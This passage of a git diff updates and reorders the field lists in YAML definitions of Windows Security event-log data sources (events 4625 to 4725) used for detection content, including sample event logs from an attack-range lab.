- timestartpos - user - user_group - vendor - vendor_product + - Version + - VirtualAccount + - WorkstationName output_fields: - action - app diff --git a/data_sources/windows_event_log_security_4625.yml b/data_sources/windows_event_log_security_4625.yml index 6de42e817e..6639631dcb 100644 --- a/data_sources/windows_event_log_security_4625.yml +++ b/data_sources/windows_event_log_security_4625.yml @@ -18,105 +18,104 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app + - authentication_method + - authentication_service - AuthenticationPackageName - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - FailureReason - Guid + - host + - id + - index - IpAddress - IpPort - KeyLength - Keywords - Level + - linecount - LmPackageName - - LogonProcessName - - LogonType - Logon_ID - Logon_Type + - LogonProcessName + - LogonType - Name + - name - Opcode + - process + - process_id - ProcessID - ProcessId - ProcessName - - RecordNumber - - Source_Port - - Source_Workstation - - Status - - SubStatus - - Sub_Status - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetUserName - - TargetUserSid - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TransmittedServices - - Version - - WorkstationName - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - process - - process_id - - process_name - - process_path - product - punct + - reason + - reason_id + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server + - src - src_ip + - src_nt_host - src_port + - Status - status + - Sub_Status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - SubStatus + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::app - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp + - TransmittedServices - user - user_group - vendor - vendor_product + - Version + - WorkstationName output_fields: - action - app diff --git a/data_sources/windows_event_log_security_4648.yml b/data_sources/windows_event_log_security_4648.yml index 1ac6a07c6e..e5b67444dc 100644 --- a/data_sources/windows_event_log_security_4648.yml +++ b/data_sources/windows_event_log_security_4648.yml @@ -18,76 +18,54 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dest_nt_host + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level - - LogonGuid + - linecount - Logon_ID + - LogonGuid - Name + - name - Opcode + - process_id - ProcessID - ProcessId - - RecordNumber - - Source_Port - - Source_Workstation - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetInfo - - TargetLogonGuid - - TargetServerName - - TargetUserName - - Target_Domain - - Target_Server_Name - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dest_nt_host - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - process_id - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src @@ -95,20 +73,38 @@ fields: - src_nt_domain - src_nt_host - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::app - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_Server_Name + - Target_User_Name + - TargetDomainName + - TargetInfo + - TargetLogonGuid + - TargetServerName + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - vendor - vendor_product + - Version output_fields: - dest - src_ip diff --git a/data_sources/windows_event_log_security_4662.yml b/data_sources/windows_event_log_security_4662.yml index a6aad97997..f980f5410b 100644 --- a/data_sources/windows_event_log_security_4662.yml +++ b/data_sources/windows_event_log_security_4662.yml @@ -20,65 +20,53 @@ fields: - _time - AccessList - AccessMask + - action - ActivityID - AdditionalInfo + - AdditionalInfo2 + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HandleId + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object_file_name + - object_file_path - ObjectName - ObjectServer - ObjectType - Opcode - OperationType - ProcessID - - Properties - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object_file_name - - object_file_path - product + - Properties - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source @@ -88,14 +76,23 @@ fields: - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 4662001408000x801000000000000021623198276Securityattack_range_dcattack_range\attackerattackerattack_range0x632426dc0DSgroupCN=Incoming Forest Trust Builders,CN=Users,DC=Attack_RangeObject Access0x0%%7688 diff --git a/data_sources/windows_event_log_security_4663.yml b/data_sources/windows_event_log_security_4663.yml index 52f47aacca..0f983fcbdc 100644 --- a/data_sources/windows_event_log_security_4663.yml +++ b/data_sources/windows_event_log_security_4663.yml @@ -20,87 +20,82 @@ fields: - _time - AccessList - AccessMask + - action + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HandleId + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object_file_name + - object_file_path - ObjectName - ObjectServer - ObjectType - Opcode - - ProcessID - - ProcessId - - ProcessName - - RecordNumber - - ResourceAttributes - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - file_name - - file_path - - host - - id - - index - - linecount - - name - - object_file_name - - object_file_path - process - process_id - process_name - process_path + - ProcessID + - ProcessId + - ProcessName - product - punct + - RecordNumber + - ResourceAttributes - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 4663101280000x802000000000000010525869Securityar-win-2.attackrange.localAR-WIN-2\AdministratorAdministratorAR-WIN-20x6cfe7SecurityFileC:\Program Files (x86)\ScreenConnect\App_Extensions\evilapp - Copy (2).aspx0x2220%%4424 diff --git a/data_sources/windows_event_log_security_4672.yml b/data_sources/windows_event_log_security_4672.yml index f80791c7df..691b0e5537 100644 --- a/data_sources/windows_event_log_security_4672.yml +++ b/data_sources/windows_event_log_security_4672.yml @@ -18,74 +18,76 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID + - meta - Name + - name - Opcode - PrivilegeList - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server + - src - src_nt_domain + - src_subject_user_id - src_user + - src_user_id - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_id - vendor - vendor_product + - Version output_fields: - dest example_log: 4672001254800x8020000000000000148946Securityar-win-6.attackrange.localATTACKRANGE\REED_MORSEREED_MORSEATTACKRANGE0x509b11SeSecurityPrivilege diff --git a/data_sources/windows_event_log_security_4688.yml b/data_sources/windows_event_log_security_4688.yml index 80f51515f9..9e45b19be2 100644 --- a/data_sources/windows_event_log_security_4688.yml +++ b/data_sources/windows_event_log_security_4688.yml @@ -18,82 +18,99 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - app - Caller_Domain - Caller_User_Name - Channel - CommandLine - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - MandatoryLabel - Name - - NewProcessId - - NewProcessName - - Opcode - - ParentProcessName - - ProcessID - - Process_Command_Line - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - TargetDomainName - - TargetLogonId - - TargetUserName - - TargetUserSid - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TokenElevationType - - Token_Elevation_Type - - Token_Elevation_Type_id - - Version - - action - - app - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - id - name - new_process - new_process_id - new_process_name + - NewProcessId + - NewProcessName + - Opcode - parent_process - parent_process_id - parent_process_name - parent_process_path + - ParentProcessName - process + - Process_Command_Line - process_command_line_arguments - process_command_line_process - process_exec - process_id - process_name - process_path + - ProcessID + - ProcessId - product + - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id + - source + - sourcetype + - splunk_server - src_nt_domain - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag + - tag::eventtype + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetLogonId + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp + - Token_Elevation_Type + - Token_Elevation_Type_id + - TokenElevationType - user - user_group - vendor - vendor_product + - Version output_fields: - action - dest diff --git a/data_sources/windows_event_log_security_4698.yml b/data_sources/windows_event_log_security_4698.yml index 65e778bf22..fff997995f 100644 --- a/data_sources/windows_event_log_security_4698.yml +++ b/data_sources/windows_event_log_security_4698.yml @@ -18,57 +18,50 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Name - - ComputerName - - Error_Code - - EventCode - - EventType - - Keywords - - LogName - - Logon_ID - - Message - - OpCode - - RecordNumber - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Task_Content - - Task_Name - - Type - action + - ActivityID - app - - body - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Caller_Domain + - Caller_User_Name + - change_type + - Channel + - ClientProcessId + - ClientProcessStartKey + - Computer - dest - dest_nt_domain - - dest_nt_host - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - FQDN + - Guid - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain + - Logon_ID + - Name - name + - object + - object_attrs + - object_category + - Opcode + - ParentProcessId + - ProcessID - product - punct + - RecordNumber + - result + - RpcCallClientLocality - session_id - severity - severity_id @@ -78,17 +71,30 @@ fields: - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id + - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - TaskContent + - TaskName + - ThreadID + - timestamp - user + - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 04/26/2022 11:12:09 AM diff --git a/data_sources/windows_event_log_security_4699.yml b/data_sources/windows_event_log_security_4699.yml index 0017cf0583..ccc7a927af 100644 --- a/data_sources/windows_event_log_security_4699.yml +++ b/data_sources/windows_event_log_security_4699.yml @@ -18,56 +18,38 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Name - - ComputerName - - Error_Code - - EventCode - - EventType - - Keywords - - LogName - - Logon_ID - - Message - - OpCode - - RecordNumber - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Task_Name - - Type - action - app - - body - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Caller_Domain + - Caller_User_Name + - Channel + - Computer - dest - dest_nt_domain - - dest_nt_host - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain + - Logon_ID + - Name - name + - Opcode - product - punct + - RecordNumber - session_id - severity - severity_id @@ -77,17 +59,27 @@ fields: - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id + - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user + - Task + - TaskCategory + - TaskName + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 11/12/2021 05:16:44 PM diff --git a/data_sources/windows_event_log_security_4700.yml b/data_sources/windows_event_log_security_4700.yml index 3403e64193..b1f856956c 100644 --- a/data_sources/windows_event_log_security_4700.yml +++ b/data_sources/windows_event_log_security_4700.yml @@ -13,5 +13,82 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - app + - Caller_Domain + - Caller_User_Name + - change_type + - Channel + - ClientProcessId + - ClientProcessStartKey + - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID + - EventRecordID + - eventtype + - FQDN + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Logon_ID + - Name + - name + - object + - object_attrs + - object_category + - Opcode + - ParentProcessId + - ProcessID + - product + - punct + - RecordNumber + - result + - RpcCallClientLocality + - session_id + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src_nt_domain + - src_subject_user_id + - src_user + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::eventtype + - Task + - TaskCategory + - TaskContent + - TaskName + - ThreadID + - timestamp + - user + - user_name + - vendor + - vendor_product + - Version example_log: 4700 0 0 12804 0 0x8020000000000000 344861 Security DC01.contoso.local S-1-5-21-3457937927-2839227994-823803824-1104 dadmin CONTOSO 0x364eb \\Microsoft\\StartListener 2015-09-22T19:03:06.9258653 CONTOSO\\dadmin LeastPrivilege CONTOSO\\dadmin InteractiveToken IgnoreNew true true true false false true false true true false false false P3D 7 C:\\Documents\\listener.exe diff --git a/data_sources/windows_event_log_security_4702.yml b/data_sources/windows_event_log_security_4702.yml index bddee9b6ce..a5e4dd8e67 100644 --- a/data_sources/windows_event_log_security_4702.yml +++ b/data_sources/windows_event_log_security_4702.yml @@ -13,5 +13,82 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - app + - Caller_Domain + - Caller_User_Name + - change_type + - Channel + - ClientProcessId + - ClientProcessStartKey + - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID + - EventRecordID + - eventtype + - FQDN + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Logon_ID + - Name + - name + - object + - object_attrs + - object_category + - Opcode + - ParentProcessId + - ProcessID + - product + - punct + - RecordNumber + - result + - RpcCallClientLocality + - session_id + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src_nt_domain + - src_subject_user_id + - src_user + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::eventtype + - Task + - TaskCategory + - TaskContent + - TaskName + - ThreadID + - timestamp + - user + - user_name + - vendor + - vendor_product + - Version example_log: 4702 0 0 12804 0 0x8020000000000000 344863 Security DC01.contoso.local S-1-5-21-3457937927-2839227994-823803824-1104 dadmin CONTOSO 0x364eb \\Microsoft\\StartListener 2015-09-22T19:03:06.9258653 CONTOSO\\dadmin HighestAvailable CONTOSO\\dadmin InteractiveToken IgnoreNew true true true false false true false true true false false false P3D 7 C:\\Documents\\listener.exe diff --git a/data_sources/windows_event_log_security_4703.yml b/data_sources/windows_event_log_security_4703.yml index 310316fd12..66513f4342 100644 --- a/data_sources/windows_event_log_security_4703.yml +++ b/data_sources/windows_event_log_security_4703.yml @@ -18,93 +18,92 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name + - change_type - Channel - Computer + - dest + - dest_nt_domain - DisabledPrivilegeList + - dvc + - dvc_nt_host - EnabledPrivilegeList - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - ProcessId - - ProcessName - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetLogonId - - TargetUserName - - TargetUserSid - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name + - name - object - object_attrs - object_category - object_id + - Opcode - process - process_id - process_name - process_path + - ProcessID + - ProcessId + - ProcessName - product - punct + - RecordNumber - result - session_id + - severity + - severity_id + - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetLogonId + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 4703001331700x8020000000000000328761Securitywin-host-ctus-attack-range-115WIN-HOST-CTUS-A\AdministratorAdministratorWIN-HOST-CTUS-A0x288b91WIN-HOST-CTUS-A\AdministratorAdministratorWIN-HOST-CTUS-A0x288b91C:\Temp\poc_2\c2_agent.exe0x570SeDebugPrivilege- diff --git a/data_sources/windows_event_log_security_4719.yml b/data_sources/windows_event_log_security_4719.yml index bf7bc7d2aa..3a46f71f6a 100644 --- a/data_sources/windows_event_log_security_4719.yml +++ b/data_sources/windows_event_log_security_4719.yml @@ -18,80 +18,80 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - AuditPolicyChanges - Caller_Domain - Caller_User_Name - CategoryId + - change_type - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubcategoryGuid - - SubcategoryId - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name + - object - object_attrs - object_category + - Opcode + - ProcessID - product - punct + - RecordNumber + - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status + - SubcategoryGuid + - SubcategoryId - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 4719001356800x8020000000000000353597Securityar-win-dc.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-DC$ATTACKRANGE0x3e7%%8276%%13312{0CCE922B-69AE-11D9-BED3-505054503030}%%8448, %%8450 diff --git a/data_sources/windows_event_log_security_4720.yml b/data_sources/windows_event_log_security_4720.yml index 1372f74573..8ee5ca866c 100644 --- a/data_sources/windows_event_log_security_4720.yml +++ b/data_sources/windows_event_log_security_4720.yml @@ -17,100 +17,104 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Expires - - Account_Name - - Allowed_To_Delegate_To - - CategoryString - - ComputerName - - Display_Name - - Error_Code - - EventCode - - EventType - - Home_Directory - - Home_Drive - - Keywords - - LogName - - Logon_Hours - - Logon_ID - - MSADChangedAttributes - - Message - - New_UAC_Value - - Old_UAC_Value - - OpCode - - Password_Last_Set - - Primary_Group_ID - - Profile_Path - - RecordNumber - - SAM_Account_Name - - SID_History - - Script_Path - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Type - - User_Parameters - - User_Principal_Name - - User_Workstations + - AccountExpires - action + - AllowedToDelegateTo - app - - body - - category + - Caller_Domain + - Caller_User_Name + - CategoryString - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dest_nt_domain - - dest_nt_host + - DisplayName - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid + - HomeDirectory + - HomePath - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain - - msad_action + - Logon_ID + - LogonHours + - Name - name + - NewUacValue + - object + - object_attrs - object_category + - object_id + - OldUacValue + - Opcode + - PasswordLastSet + - PrimaryGroupId + - PrivilegeList + - ProcessID - product + - ProfilePath - punct + - RecordNumber - result + - SamAccountName + - ScriptPath - session_id - severity - severity_id + - SidHistory - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user + - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - - user_group_id + - user_group + - user_name + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version output_fields: - dest example_log: 10/09/2020 10:41:26 AM diff --git a/data_sources/windows_event_log_security_4723.yml b/data_sources/windows_event_log_security_4723.yml index 5f96b26f47..ceba37b889 100644 --- a/data_sources/windows_event_log_security_4723.yml +++ b/data_sources/windows_event_log_security_4723.yml @@ -17,68 +17,51 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source @@ -89,17 +72,31 @@ fields: - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 472300138240 0x8010000000000000 781490 Security WIN10-21H1.strt.labs AdministratorWIN10-21H1 S-1-5-21-1538153195-943065003-848949206-500 S-1-5-21-1538153195-943065003-848949206-1003bob WIN10-21H10x61a292 - diff --git a/data_sources/windows_event_log_security_4724.yml b/data_sources/windows_event_log_security_4724.yml index 81c019c3b4..e7f93f20d3 100644 --- a/data_sources/windows_event_log_security_4724.yml +++ b/data_sources/windows_event_log_security_4724.yml @@ -17,89 +17,85 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 4724001382400x8020000000000000276779Securityar-win-dc.attackrange.localTRUMAN_CLEMENTSATTACKRANGEATTACKRANGE\TRUMAN_CLEMENTSATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 diff --git a/data_sources/windows_event_log_security_4725.yml b/data_sources/windows_event_log_security_4725.yml index ab583b54cf..656e394bb2 100644 --- a/data_sources/windows_event_log_security_4725.yml +++ b/data_sources/windows_event_log_security_4725.yml @@ -17,89 +17,85 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status - subject + - 